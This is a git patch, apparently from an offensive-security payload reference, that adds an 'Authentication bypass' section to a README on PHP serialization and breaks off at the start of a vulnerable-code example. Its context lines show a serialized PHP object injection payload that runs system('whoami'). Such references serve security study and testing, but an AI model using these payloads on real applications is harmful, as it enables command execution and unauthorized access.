From d49e40b1b286bd4f486536db1f3406a31d7439b8 Mon Sep 17 00:00:00 2001 From: Alexandre ZANNI <16578570+noraj@users.noreply.github.com> Date: Tue, 25 Sep 2018 23:59:29 +0200 Subject: [PATCH] add auth bypass --- PHP serialization/README.md | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/PHP serialization/README.md b/PHP serialization/README.md index c237c468..a0c12576 100644 --- a/PHP serialization/README.md +++ b/PHP serialization/README.md @@ -43,6 +43,29 @@ string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";} ``` +## Authentication bypass + +Vulnerable code: + +```php +